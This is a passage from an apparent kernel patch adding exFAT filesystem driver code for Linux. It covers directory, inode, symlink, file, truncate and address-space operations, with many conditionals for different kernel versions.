super_block *sb = inode->i_sb; + int res, err; + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,35) + res = simple_fsync(filp, dentry, datasync); +#else + res = generic_file_fsync(filp, datasync); +#endif + err = FsSyncVol(sb, 1); + + return res ? res : err; +} +#endif + +const struct file_operations exfat_dir_operations = { + .llseek = generic_file_llseek, + .read = generic_read_dir, +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) + .iterate = exfat_readdir, +#else + .readdir = exfat_readdir, +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36) + .ioctl = exfat_generic_ioctl, + .fsync = exfat_file_fsync, +#else + .unlocked_ioctl = exfat_generic_ioctl, + .fsync = generic_file_fsync, +#endif +}; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,00) +static int exfat_create(struct inode *dir, struct dentry *dentry, umode_t mode, + bool excl) +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(3,3,0) +static int exfat_create(struct inode *dir, struct dentry *dentry, umode_t mode, + struct nameidata *nd) +#else +static int exfat_create(struct inode *dir, struct dentry *dentry, int mode, + struct nameidata *nd) +#endif +{ + struct super_block *sb = dir->i_sb; + struct inode *inode; + struct timespec ts; + FILE_ID_T fid; + loff_t i_pos; + int err; + + __lock_super(sb); + + DPRINTK("exfat_create entered\n"); + + ts = CURRENT_TIME_SEC; + + err = FsCreateFile(dir, (u8 *) dentry->d_name.name, FM_REGULAR, &fid); + if (err) { + if (err == FFS_INVALIDPATH) + err = -EINVAL; + else if (err == FFS_FILEEXIST) + err = -EEXIST; + else if (err == FFS_FULL) + err = -ENOSPC; + else if (err == FFS_NAMETOOLONG) + err = -ENAMETOOLONG; + else + err = -EIO; + goto out; + } + dir->i_version++; + dir->i_ctime = dir->i_mtime = dir->i_atime = ts; + if (IS_DIRSYNC(dir)) + (void) exfat_sync_inode(dir); + else + mark_inode_dirty(dir); + + i_pos = ((loff_t) fid.dir.dir << 32) | (fid.entry & 0xffffffff); + + inode = exfat_build_inode(sb, &fid, i_pos); + if (IS_ERR(inode)) { + err = PTR_ERR(inode); + goto out; + } + inode->i_version++; + inode->i_mtime = inode->i_atime = inode->i_ctime = ts; + /* timestamp is already written, so mark_inode_dirty() is unnecessary. */ + + dentry->d_time = dentry->d_parent->d_inode->i_version; + d_instantiate(dentry, inode); + +out: + __unlock_super(sb); + DPRINTK("exfat_create exited\n"); + return err; +} + +static int exfat_find(struct inode *dir, struct qstr *qname, + FILE_ID_T *fid) +{ + int err; + + if (qname->len == 0) + return -ENOENT; + + err = FsLookupFile(dir, (u8 *) qname->name, fid); + if (err) + return -ENOENT; + + return 0; +} + +static int exfat_d_anon_disconn(struct dentry *dentry) +{ + return IS_ROOT(dentry) && (dentry->d_flags & DCACHE_DISCONNECTED); +} + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,00) +static struct dentry *exfat_lookup(struct inode *dir, struct dentry *dentry, + unsigned int flags) +#else +static struct dentry *exfat_lookup(struct inode *dir, struct dentry *dentry, + struct nameidata *nd) +#endif +{ + struct super_block *sb = dir->i_sb; + struct inode *inode; + struct dentry *alias; + int err; + FILE_ID_T fid; + loff_t i_pos; + u64 ret; + mode_t i_mode; + + __lock_super(sb); + DPRINTK("exfat_lookup entered\n"); + err = exfat_find(dir, &dentry->d_name, &fid); + if (err) { + if (err == -ENOENT) { + inode = NULL; + goto out; + } + goto error; + } + + i_pos = ((loff_t) fid.dir.dir << 32) | (fid.entry & 0xffffffff); + inode = exfat_build_inode(sb, &fid, i_pos); + if (IS_ERR(inode)) { + err = PTR_ERR(inode); + goto error; + } + + i_mode = inode->i_mode; + if (S_ISLNK(i_mode)) { + EXFAT_I(inode)->target = kmalloc(i_size_read(inode)+1, GFP_KERNEL); + if (!EXFAT_I(inode)->target) { + err = -ENOMEM; + goto error; + } + FsReadFile(dir, &fid, EXFAT_I(inode)->target, i_size_read(inode), &ret); + *(EXFAT_I(inode)->target + i_size_read(inode)) = '\0'; + } + + alias = d_find_alias(inode); + if (alias && !exfat_d_anon_disconn(alias)) { + CHECK_ERR(d_unhashed(alias)); + if (!S_ISDIR(i_mode)) + d_move(alias, dentry); + iput(inode); + __unlock_super(sb); + DPRINTK("exfat_lookup exited 1\n"); + return alias; + } else { + dput(alias); + } +out: + __unlock_super(sb); + dentry->d_time = dentry->d_parent->d_inode->i_version; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,38) + dentry->d_op = sb->s_root->d_op; + dentry = d_splice_alias(inode, dentry); + if (dentry) { + dentry->d_op = sb->s_root->d_op; + dentry->d_time = dentry->d_parent->d_inode->i_version; + } +#else + dentry = d_splice_alias(inode, dentry); + if (dentry) + dentry->d_time = dentry->d_parent->d_inode->i_version; +#endif + DPRINTK("exfat_lookup exited 2\n"); + return dentry; + +error: + __unlock_super(sb); + DPRINTK("exfat_lookup exited 3\n"); + return ERR_PTR(err); +} + +static int exfat_unlink(struct inode *dir, struct dentry *dentry) +{ + struct inode *inode = dentry->d_inode; + struct super_block *sb = dir->i_sb; + struct timespec ts; + int err; + + __lock_super(sb); + + DPRINTK("exfat_unlink entered\n"); + + ts = CURRENT_TIME_SEC; + + EXFAT_I(inode)->fid.size = i_size_read(inode); + + err = FsRemoveFile(dir, &(EXFAT_I(inode)->fid)); + if (err) { + if (err == FFS_PERMISSIONERR) + err = -EPERM; + else + err = -EIO; + goto out; + } + dir->i_version++; + dir->i_mtime = dir->i_atime = ts; + if (IS_DIRSYNC(dir)) + (void) exfat_sync_inode(dir); + else + mark_inode_dirty(dir); + + clear_nlink(inode); + inode->i_mtime = inode->i_atime = ts; + exfat_detach(inode); + remove_inode_hash(inode); + +out: + __unlock_super(sb); + DPRINTK("exfat_unlink exited\n"); + return err; +} + +static int exfat_symlink(struct inode *dir, struct dentry *dentry, const char *target) +{ + struct super_block *sb = dir->i_sb; + struct inode *inode; + struct timespec ts; + FILE_ID_T fid; + loff_t i_pos; + int err; + u64 len = (u64) strlen(target); + u64 ret; + + __lock_super(sb); + + DPRINTK("exfat_symlink entered\n"); + + ts = CURRENT_TIME_SEC; + + err = FsCreateFile(dir, (u8 *) dentry->d_name.name, FM_SYMLINK, &fid); + if (err) { + if (err == FFS_INVALIDPATH) + err = -EINVAL; + else if (err == FFS_FILEEXIST) + err = -EEXIST; + else if (err == FFS_FULL) + err = -ENOSPC; + else + err = -EIO; + goto out; + } + + err = FsWriteFile(dir, &fid, (char *) target, len, &ret); + + if (err) { + FsRemoveFile(dir, &fid); + + if (err == FFS_FULL) + err = -ENOSPC; + else + err = -EIO; + goto out; + } + + dir->i_version++; + dir->i_ctime = dir->i_mtime = dir->i_atime = ts; + if (IS_DIRSYNC(dir)) + (void) exfat_sync_inode(dir); + else + mark_inode_dirty(dir); + + i_pos = ((loff_t) fid.dir.dir << 32) | (fid.entry & 0xffffffff); + + inode = exfat_build_inode(sb, &fid, i_pos); + if (IS_ERR(inode)) { + err = PTR_ERR(inode); + goto out; + } + inode->i_version++; + inode->i_mtime = inode->i_atime = inode->i_ctime = ts; + /* timestamp is already written, so mark_inode_dirty() is unneeded. */ + + EXFAT_I(inode)->target = kmalloc(len+1, GFP_KERNEL); + if (!EXFAT_I(inode)->target) { + err = -ENOMEM; + goto out; + } + memcpy(EXFAT_I(inode)->target, target, len+1); + + dentry->d_time = dentry->d_parent->d_inode->i_version; + d_instantiate(dentry, inode); + +out: + __unlock_super(sb); + DPRINTK("exfat_symlink exited\n"); + return err; +} + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,3,0) +static int exfat_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) +#else +static int exfat_mkdir(struct inode *dir, struct dentry *dentry, int mode) +#endif +{ + struct super_block *sb = dir->i_sb; + struct inode *inode; + struct timespec ts; + FILE_ID_T fid; + loff_t i_pos; + int err; + + __lock_super(sb); + + DPRINTK("exfat_mkdir entered\n"); + + ts = CURRENT_TIME_SEC; + + err = FsCreateDir(dir, (u8 *) dentry->d_name.name, &fid); + if (err) { + if (err == FFS_INVALIDPATH) + err = -EINVAL; + else if (err == FFS_FILEEXIST) + err = -EEXIST; + else if (err == FFS_FULL) + err = -ENOSPC; + else if (err == FFS_NAMETOOLONG) + err = -ENAMETOOLONG; + else + err = -EIO; + goto out; + } + dir->i_version++; + dir->i_ctime = dir->i_mtime = dir->i_atime = ts; + if (IS_DIRSYNC(dir)) + (void) exfat_sync_inode(dir); + else + mark_inode_dirty(dir); + inc_nlink(dir); + + i_pos = ((loff_t) fid.dir.dir << 32) | (fid.entry & 0xffffffff); + + inode = exfat_build_inode(sb, &fid, i_pos); + if (IS_ERR(inode)) { + err = PTR_ERR(inode); + goto out; + } + inode->i_version++; + inode->i_mtime = inode->i_atime = inode->i_ctime = ts; + /* timestamp is already written, so mark_inode_dirty() is unneeded. */ + + dentry->d_time = dentry->d_parent->d_inode->i_version; + d_instantiate(dentry, inode); + +out: + __unlock_super(sb); + DPRINTK("exfat_mkdir exited\n"); + return err; +} + +static int exfat_rmdir(struct inode *dir, struct dentry *dentry) +{ + struct inode *inode = dentry->d_inode; + struct super_block *sb = dir->i_sb; + struct timespec ts; + int err; + + __lock_super(sb); + + DPRINTK("exfat_rmdir entered\n"); + + ts = CURRENT_TIME_SEC; + + EXFAT_I(inode)->fid.size = i_size_read(inode); + + err = FsRemoveDir(dir, &(EXFAT_I(inode)->fid)); + if (err) { + if (err == FFS_INVALIDPATH) + err = -EINVAL; + else if (err == FFS_FILEEXIST) + err = -ENOTEMPTY; + else if (err == FFS_NOTFOUND) + err = -ENOENT; + else if (err == FFS_DIRBUSY) + err = -EBUSY; + else + err = -EIO; + goto out; + } + dir->i_version++; + dir->i_mtime = dir->i_atime = ts; + if (IS_DIRSYNC(dir)) + (void) exfat_sync_inode(dir); + else + mark_inode_dirty(dir); + drop_nlink(dir); + + clear_nlink(inode); + inode->i_mtime = inode->i_atime = ts; + exfat_detach(inode); + remove_inode_hash(inode); + +out: + __unlock_super(sb); + DPRINTK("exfat_rmdir exited\n"); + return err; +} + +static int exfat_rename(struct inode *old_dir, struct dentry *old_dentry, + struct inode *new_dir, struct dentry *new_dentry) +{ + struct inode *old_inode, *new_inode; + struct super_block *sb = old_dir->i_sb; + struct timespec ts; + loff_t i_pos; + int err; + + __lock_super(sb); + + DPRINTK("exfat_rename entered\n"); + + old_inode = old_dentry->d_inode; + new_inode = new_dentry->d_inode; + + ts = CURRENT_TIME_SEC; + + EXFAT_I(old_inode)->fid.size = i_size_read(old_inode); + + err = FsMoveFile(old_dir, &(EXFAT_I(old_inode)->fid), new_dir, new_dentry); + if (err) { + if (err == FFS_PERMISSIONERR) + err = -EPERM; + else if (err == FFS_INVALIDPATH) + err = -EINVAL; + else if (err == FFS_FILEEXIST) + err = -EEXIST; + else if (err == FFS_NOTFOUND) + err = -ENOENT; + else if (err == FFS_FULL) + err = -ENOSPC; + else + err = -EIO; + goto out; + } + new_dir->i_version++; + new_dir->i_ctime = new_dir->i_mtime = new_dir->i_atime = ts; + if (IS_DIRSYNC(new_dir)) + (void) exfat_sync_inode(new_dir); + else + mark_inode_dirty(new_dir); + + i_pos = ((loff_t) EXFAT_I(old_inode)->fid.dir.dir << 32) | + (EXFAT_I(old_inode)->fid.entry & 0xffffffff); + + exfat_detach(old_inode); + exfat_attach(old_inode, i_pos); + if (IS_DIRSYNC(new_dir)) + (void) exfat_sync_inode(old_inode); + else + mark_inode_dirty(old_inode); + + if ((S_ISDIR(old_inode->i_mode)) && (old_dir != new_dir)) { + drop_nlink(old_dir); + if (!new_inode) + inc_nlink(new_dir); + } + + old_dir->i_version++; + old_dir->i_ctime = old_dir->i_mtime = ts; + if (IS_DIRSYNC(old_dir)) + (void) exfat_sync_inode(old_dir); + else + mark_inode_dirty(old_dir); + + if (new_inode) { + exfat_detach(new_inode); + drop_nlink(new_inode); + if (S_ISDIR(new_inode->i_mode)) + drop_nlink(new_inode); + new_inode->i_ctime = ts; + } + +out: + __unlock_super(sb); + DPRINTK("exfat_rename exited\n"); + return err; +} + +static int exfat_cont_expand(struct inode *inode, loff_t size) +{ + struct address_space *mapping = inode->i_mapping; + loff_t start = i_size_read(inode), count = size - i_size_read(inode); + int err, err2; + + err = generic_cont_expand_simple(inode, size); + if (err != 0) + return err; + + inode->i_ctime = inode->i_mtime = CURRENT_TIME_SEC; + mark_inode_dirty(inode); + + if (IS_SYNC(inode)) { + err = filemap_fdatawrite_range(mapping, start, start + count - 1); + err2 = sync_mapping_buffers(mapping); + err = (err) ? (err) : (err2); + err2 = write_inode_now(inode, 1); + err = (err) ? (err) : (err2); + if (!err) +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,32) + err = wait_on_page_writeback_range(mapping, + start >> PAGE_CACHE_SHIFT, + (start + count - 1) >> PAGE_CACHE_SHIFT); +#else + err = filemap_fdatawait_range(mapping, start, start + count - 1); +#endif + } + return err; +} + +static int exfat_allow_set_time(struct exfat_sb_info *sbi, struct inode *inode) +{ + mode_t allow_utime = sbi->options.allow_utime; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0) + if (!uid_eq(current_fsuid(), inode->i_uid)) +#else + if (current_fsuid() != inode->i_uid) +#endif + { + if (in_group_p(inode->i_gid)) + allow_utime >>= 3; + if (allow_utime & MAY_WRITE) + return 1; + } + + /* use a default check */ + return 0; +} + +static int exfat_sanitize_mode(const struct exfat_sb_info *sbi, + struct inode *inode, umode_t *mode_ptr) +{ + mode_t i_mode, mask, perm; + + i_mode = inode->i_mode; + + if (S_ISREG(i_mode) || S_ISLNK(i_mode)) + mask = sbi->options.fs_fmask; + else + mask = sbi->options.fs_dmask; + + perm = *mode_ptr & ~(S_IFMT | mask); + + /* Of the r and x bits, all (subject to umask) must be present.*/ + if ((perm & (S_IRUGO | S_IXUGO)) != (i_mode & (S_IRUGO|S_IXUGO))) + return -EPERM; + + if (exfat_mode_can_hold_ro(inode)) { + /* Of the w bits, either all (subject to umask) or none must be present. */ + if ((perm & S_IWUGO) && ((perm & S_IWUGO) != (S_IWUGO & ~mask))) + return -EPERM; + } else { + /* If exfat_mode_can_hold_ro(inode) is false, can't change w bits. */ + if ((perm & S_IWUGO) != (S_IWUGO & ~mask)) + return -EPERM; + } + + *mode_ptr &= S_IFMT | perm; + + return 0; +} + +static int exfat_setattr(struct dentry *dentry, struct iattr *attr) +{ + + struct exfat_sb_info *sbi = EXFAT_SB(dentry->d_sb); + struct inode *inode = dentry->d_inode; + unsigned int ia_valid; + int error; +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,35) + loff_t old_size; +#endif + + DPRINTK("exfat_setattr entered\n"); + + if ((attr->ia_valid & ATTR_SIZE) + && (attr->ia_size > i_size_read(inode))) { + error = exfat_cont_expand(inode, attr->ia_size); + if (error || attr->ia_valid == ATTR_SIZE) + return error; + attr->ia_valid &= ~ATTR_SIZE; + } + + ia_valid = attr->ia_valid; + + if ((ia_valid & (ATTR_MTIME_SET | ATTR_ATIME_SET | ATTR_TIMES_SET)) + && exfat_allow_set_time(sbi, inode)) { + attr->ia_valid &= ~(ATTR_MTIME_SET | ATTR_ATIME_SET | ATTR_TIMES_SET); + } + + error = inode_change_ok(inode, attr); + attr->ia_valid = ia_valid; + if (error) + return error; + + if (((attr->ia_valid & ATTR_UID) && +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0) + (!uid_eq(attr->ia_uid, sbi->options.fs_uid))) || + ((attr->ia_valid & ATTR_GID) && + (!gid_eq(attr->ia_gid, sbi->options.fs_gid))) || +#else + (attr->ia_uid != sbi->options.fs_uid)) || + ((attr->ia_valid & ATTR_GID) && + (attr->ia_gid != sbi->options.fs_gid)) || +#endif + ((attr->ia_valid & ATTR_MODE) && + (attr->ia_mode & ~(S_IFREG | S_IFLNK | S_IFDIR | S_IRWXUGO)))) { + return -EPERM; + } + + /* + * We don't return -EPERM here. Yes, strange, but this is too + * old behavior. + */ + if (attr->ia_valid & ATTR_MODE) { + if (exfat_sanitize_mode(sbi, inode, &attr->ia_mode) < 0) + attr->ia_valid &= ~ATTR_MODE; + } + + EXFAT_I(inode)->fid.size = i_size_read(inode); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36) + if (attr->ia_valid) + error = inode_setattr(inode, attr); +#else + if (attr->ia_valid & ATTR_SIZE) { + old_size = i_size_read(inode); +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,4,00) + down_write(&EXFAT_I(inode)->truncate_lock); + truncate_setsize(inode, attr->ia_size); + _exfat_truncate(inode, old_size); + up_write(&EXFAT_I(inode)->truncate_lock); +#else + truncate_setsize(inode, attr->ia_size); + _exfat_truncate(inode, old_size); +#endif + } + setattr_copy(inode, attr); + mark_inode_dirty(inode); +#endif + + DPRINTK("exfat_setattr exited\n"); + return error; +} + +static int exfat_getattr(struct vfsmount *mnt, struct dentry *dentry, struct kstat *stat) +{ + struct inode *inode = dentry->d_inode; + + DPRINTK("exfat_getattr entered\n"); + + generic_fillattr(inode, stat); + stat->blksize = EXFAT_SB(inode->i_sb)->fs_info.cluster_size; + + DPRINTK("exfat_getattr exited\n"); + return 0; +} + +const struct inode_operations exfat_dir_inode_operations = { + .create = exfat_create, + .lookup = exfat_lookup, + .unlink = exfat_unlink, + .symlink = exfat_symlink, + .mkdir = exfat_mkdir, + .rmdir = exfat_rmdir, + .rename = exfat_rename, + .setattr = exfat_setattr, + .getattr = exfat_getattr, +}; + +/*======================================================================*/ +/* File Operations */ +/*======================================================================*/ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,5,0) +static const char *exfat_get_link(struct dentry *dentry, struct inode *inode, struct delayed_call *done) +{ + struct exfat_inode_info *ei = EXFAT_I(inode); + if (ei->target != NULL) { + char *cookie = ei->target; + if (cookie != NULL) { + return (char *)(ei->target); + } + } + return NULL; +} +#elif LINUX_VERSION_CODE > KERNEL_VERSION(4,1,0) +static const char *exfat_follow_link(struct dentry *dentry, void **cookie) +{ + struct exfat_inode_info *ei = EXFAT_I(dentry->d_inode); + return *cookie = (char *)(ei->target); +} +#else +static void *exfat_follow_link(struct dentry *dentry, struct nameidata *nd) +{ + struct exfat_inode_info *ei = EXFAT_I(dentry->d_inode); + nd_set_link(nd, (char *)(ei->target)); + return NULL; +} +#endif + +const struct inode_operations exfat_symlink_inode_operations = { + .readlink = generic_readlink, + #if LINUX_VERSION_CODE < KERNEL_VERSION(4,5,0) + .follow_link = exfat_follow_link, + #endif + #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,5,0) + .get_link = exfat_get_link, + #endif +}; + +static int exfat_file_release(struct inode *inode, struct file *filp) +{ + struct super_block *sb = inode->i_sb; + + EXFAT_I(inode)->fid.size = i_size_read(inode); + FsSyncVol(sb, 0); + return 0; +} + +const struct file_operations exfat_file_operations = { + .llseek = generic_file_llseek, +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,16,0) + .read = do_sync_read, + .write = do_sync_write, + .aio_read = generic_file_aio_read, + .aio_write = generic_file_aio_write, +#elif LINUX_VERSION_CODE < KERNEL_VERSION(4,1,0) + .read = new_sync_read, + .write = new_sync_write, +#endif +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,16,0) + .read_iter = generic_file_read_iter, + .write_iter = generic_file_write_iter, +#endif + .mmap = generic_file_mmap, + .release = exfat_file_release, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36) + .ioctl = exfat_generic_ioctl, + .fsync = exfat_file_fsync, +#else + .unlocked_ioctl = exfat_generic_ioctl, + .fsync = generic_file_fsync, +#endif + .splice_read = generic_file_splice_read, +}; + +static void _exfat_truncate(struct inode *inode, loff_t old_size) +{ + struct super_block *sb = inode->i_sb; + struct exfat_sb_info *sbi = EXFAT_SB(sb); + FS_INFO_T *p_fs = &(sbi->fs_info); + int err; + + __lock_super(sb); + + /* + * This protects against truncating a file bigger than it was then + * trying to write into the hole. + */ + if (EXFAT_I(inode)->mmu_private > i_size_read(inode)) + EXFAT_I(inode)->mmu_private = i_size_read(inode); + + if (EXFAT_I(inode)->fid.start_clu == 0) + goto out; + + err = FsTruncateFile(inode, old_size, i_size_read(inode)); + if (err) + goto out; + + inode->i_ctime = inode->i_mtime = CURRENT_TIME_SEC; + if (IS_DIRSYNC(inode)) + (void) exfat_sync_inode(inode); + else + mark_inode_dirty(inode); + + inode->i_blocks = ((i_size_read(inode) + (p_fs->cluster_size - 1)) + & ~((loff_t)p_fs->cluster_size - 1)) >> 9; +out: + __unlock_super(sb); +} + +#if LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,36) +static void exfat_truncate(struct inode *inode) +{ + _exfat_truncate(inode, i_size_read(inode)); +} +#endif + +const struct inode_operations exfat_file_inode_operations = { +#if LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,36) + .truncate = exfat_truncate, +#endif + .setattr = exfat_setattr, + .getattr = exfat_getattr, +}; + +/*======================================================================*/ +/* Address Space Operations */ +/*======================================================================*/ + +static int exfat_bmap(struct inode *inode, sector_t sector, sector_t *phys, + unsigned long *mapped_blocks, int *create) +{ + struct super_block *sb = inode->i_sb; + struct exfat_sb_info *sbi = EXFAT_SB(sb); + FS_INFO_T *p_fs = &(sbi->fs_info); + BD_INFO_T *p_bd = &(sbi->bd_info); + const unsigned long blocksize = sb->s_blocksize; + const unsigned char blocksize_bits = sb->s_blocksize_bits; + sector_t last_block; + int err, clu_offset, sec_offset; + unsigned int cluster; + + *phys = 0; + *mapped_blocks = 0; + + if ((p_fs->vol_type == FAT12) || (p_fs->vol_type == FAT16)) { + if (inode->i_ino == EXFAT_ROOT_INO) { + if (sector < (p_fs->dentries_in_root >> (p_bd->sector_size_bits-DENTRY_SIZE_BITS))) { + *phys = sector + p_fs->root_start_sector; + *mapped_blocks = 1; + } + return 0; + } + } + + last_block = (i_size_read(inode) + (blocksize - 1)) >> blocksize_bits; + if (sector >= last_block) { + if (*create == 0) + return 0; + } else { + *create = 0; + } + + clu_offset = sector >> p_fs->sectors_per_clu_bits; /* cluster offset */ + sec_offset = sector & (p_fs->sectors_per_clu - 1); /* sector offset in cluster */ + + EXFAT_I(inode)->fid.size = i_size_read(inode); + + err = FsMapCluster(inode, clu_offset, &cluster); + + if (err) { + if (err == FFS_FULL) + return -ENOSPC; + else + return -EIO; + } else if (cluster != CLUSTER_32(~0)) { + *phys = START_SECTOR(cluster) + sec_offset; + *mapped_blocks = p_fs->sectors_per_clu - sec_offset; + } + + return 0; +} + +static int exfat_get_block(struct inode *inode, sector_t iblock, + struct buffer_head *bh_result, int create) +{ + struct super_block *sb = inode->i_sb; + unsigned long max_blocks = bh_result->b_size >> inode->i_blkbits; + int err; + unsigned long mapped_blocks; + sector_t phys; + + __lock_super(sb); + + err = exfat_bmap(inode, iblock, &phys, &mapped_blocks, &create); + if (err) { + __unlock_super(sb); + return err; + } + + if (phys) { + max_blocks = min(mapped_blocks, max_blocks); + if (create) { + EXFAT_I(inode)->mmu_private += max_blocks << sb->s_blocksize_bits; + set_buffer_new(bh_result); + } + map_bh(bh_result, sb, phys); + } + + bh_result->b_size = max_blocks << sb->s_blocksize_bits; + __unlock_super(sb); + + return 0; +} + +static int exfat_readpage(struct file *file, struct page *page) +{ + int ret; + ret = mpage_readpage(page, exfat_get_block); + return ret; +} + +static int exfat_readpages(struct file *file, struct address_space *mapping, + struct list_head *pages, unsigned nr_pages) +{ + int ret; + ret = mpage_readpages(mapping, pages, nr_pages, exfat_get_block); + return ret; +} + +static int exfat_writepage(struct page *page, struct writeback_control *wbc) +{ + int ret; + ret = block_write_full_page(page, exfat_get_block, wbc); + return ret; +} + +static int exfat_writepages(struct address_space *mapping, + struct writeback_control *wbc) +{ + int ret; + ret = mpage_writepages(mapping, wbc, exfat_get_block); + return ret; +} + +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,34) +static void exfat_write_failed(struct address_space *mapping, loff_t to) +{ + struct inode *inode = mapping->host; + if (to > i_size_read(inode)) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,12,0) + truncate_pagecache(inode, i_size_read(inode)); +#else + truncate_pagecache(inode, to, i_size_read(inode)); +#endif + EXFAT_I(inode)->fid.size = i_size_read(inode); + _exfat_truncate(inode, i_size_read(inode)); + } +} +#endif + +static int exfat_write_begin(struct file *file, struct address_space *mapping, + loff_t pos, unsigned len, unsigned flags, + struct page **pagep, void **fsdata) +{ + int ret; + *pagep = NULL; + ret = cont_write_begin(file, mapping, pos, len, flags, pagep, fsdata, + exfat_get_block, + &EXFAT_I(mapping->host)->mmu_private); + +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,34) + if (ret < 0) + exfat_write_failed(mapping, pos+len); +#endif + return ret; +} + +static int exfat_write_end(struct file *file, struct address_space *mapping, + loff_t pos, unsigned len, unsigned copied, + struct page *pagep, void *fsdata) +{ + struct inode *inode = mapping->host; + FILE_ID_T *fid = &(EXFAT_I(inode)->fid); + int err; + + err = generic_write_end(file, mapping, pos, len, copied, pagep, fsdata); + +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,34) + if (err < len) + exfat_write_failed(mapping, pos+len); +#endif + + if (!(err < 0) && !(fid->attr & ATTR_ARCHIVE)) { + inode->i_mtime = inode->i_ctime = CURRENT_TIME_SEC; + fid->attr |= ATTR_ARCHIVE; + mark_inode_dirty(inode); + } + return err; +} + +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,16,0) +#ifdef CONFIG_AIO_OPTIMIZATION +static ssize_t exfat_direct_IO(int rw, struct kiocb *iocb, + struct iov_iter *iter, loff_t offset) +#else +static ssize_t exfat_direct_IO(int rw, struct kiocb *iocb, + const struct iovec *iov, + loff_t offset, unsigned long nr_segs) +#endif +#elif LINUX_VERSION_CODE < KERNEL_VERSION(4,2,0) +static ssize_t exfat_direct_IO(int rw, struct kiocb *iocb, + struct iov_iter *iter, loff_t offset) +#else /* >= 4.1.x */ +static ssize_t exfat_direct_IO(struct kiocb *iocb, + struct iov_iter *iter, loff_t offset) +#endif +{ + struct inode *inode = iocb->ki_filp->f_mapping->host; +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,34) + struct address_space *mapping = iocb->ki_filp->f_mapping; +#endif + ssize_t ret; +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,2,0) + int rw; + + rw = iov_iter_rw(iter); +#endif + + if (rw == WRITE) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,16,0) +#ifdef CONFIG_AIO_OPTIMIZATION + if (EXFAT_I(inode)->mmu_private < + (offset + iov_iter_count(iter))) +#else + if (EXFAT_I(inode)->mmu_private < (offset + iov_length(iov, nr_segs))) +#endif +#else + if (EXFAT_I(inode)->mmu_private < (offset + iov_iter_count(iter))) +#endif + return 0; + } +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,1,0) + ret = blockdev_direct_IO(iocb, inode, iter, + offset, exfat_get_block); +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(3,16,0) + ret = blockdev_direct_IO(rw, iocb, inode, iter, + offset, exfat_get_block); +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(3,1,0) +#ifdef CONFIG_AIO_OPTIMIZATION + ret = blockdev_direct_IO(rw, iocb, inode, iter, + offset, exfat_get_block); +#else + ret = blockdev_direct_IO(rw, iocb, inode, iov, + offset, nr_segs, exfat_get_block); +#endif +#else + ret = blockdev_direct_IO(rw, iocb, inode, inode->i_sb->s_bdev, iov, + offset, nr_segs, exfat_get_block, NULL); +#endif + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,16,0) + if ((ret < 0) && (rw & WRITE)) + exfat_write_failed(mapping, offset+iov_iter_count(iter)); +#elif LINUX_VERSION_CODE > KERNEL_VERSION(2,6,34) + if ((ret < 0) && (rw & WRITE)) +#ifdef CONFIG_AIO_OPTIMIZATION + exfat_write_failed(mapping, offset+iov_iter_count(iter)); +#else + exfat_write_failed(mapping, offset+iov_length(iov, nr_segs)); +#endif +#endif + return ret; +} + +static sector_t _exfat_bmap(struct address_space *mapping, sector_t block) +{ + sector_t blocknr; + + /* exfat_get_cluster() assumes the requested blocknr isn't truncated. */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,4,00) + down_read(&EXFAT_I(mapping->host)->truncate_lock); + blocknr = generic_block_bmap(mapping, block, exfat_get_block); + up_read(&EXFAT_I(mapping->host)->truncate_lock); +#else + down_read(&EXFAT_I(mapping->host)->i_alloc_sem); + blocknr = generic_block_bmap(mapping, block, exfat_get_block); + up_read(&EXFAT_I(mapping->host)->i_alloc_sem); +#endif + + return blocknr; +} + +const struct address_space_operations exfat_aops = { + .readpage = exfat_readpage, + .readpages = exfat_readpages, + .writepage = exfat_writepage, + .writepages = exfat_writepages, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,39) + .sync_page = block_sync_page, +#endif + .write_begin = exfat_write_begin, + .write_end = exfat_write_end, + .direct_IO = exfat_direct_IO, + .bmap = _exfat_bmap +}; + +/*======================================================================*/ +/* Super Operations */ +/*======================================================================*/ + +static inline unsigned long exfat_hash(loff_t i_pos) +{ + return hash_32(i_pos, EXFAT_HASH_BITS); +} + +static struct inode *exfat_iget(struct super_block *sb, loff_t i_pos) +{ + struct exfat_sb_info *sbi = EXFAT_SB(sb); + struct exfat_inode_info *info; + struct hlist_head *head = sbi->inode_hashtable + exfat_hash(i_pos); + struct inode *inode = NULL; +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,9,0) + struct hlist_node *node; + + spin_lock(&sbi->inode_hash_lock); + hlist_for_each_entry(info, node, head, i_hash_fat) { +#else + spin_lock(&sbi->inode_hash_lock); + hlist_for_each_entry(info, head, i_hash_fat) { +#endif + CHECK_ERR(info->vfs_inode.i_sb != 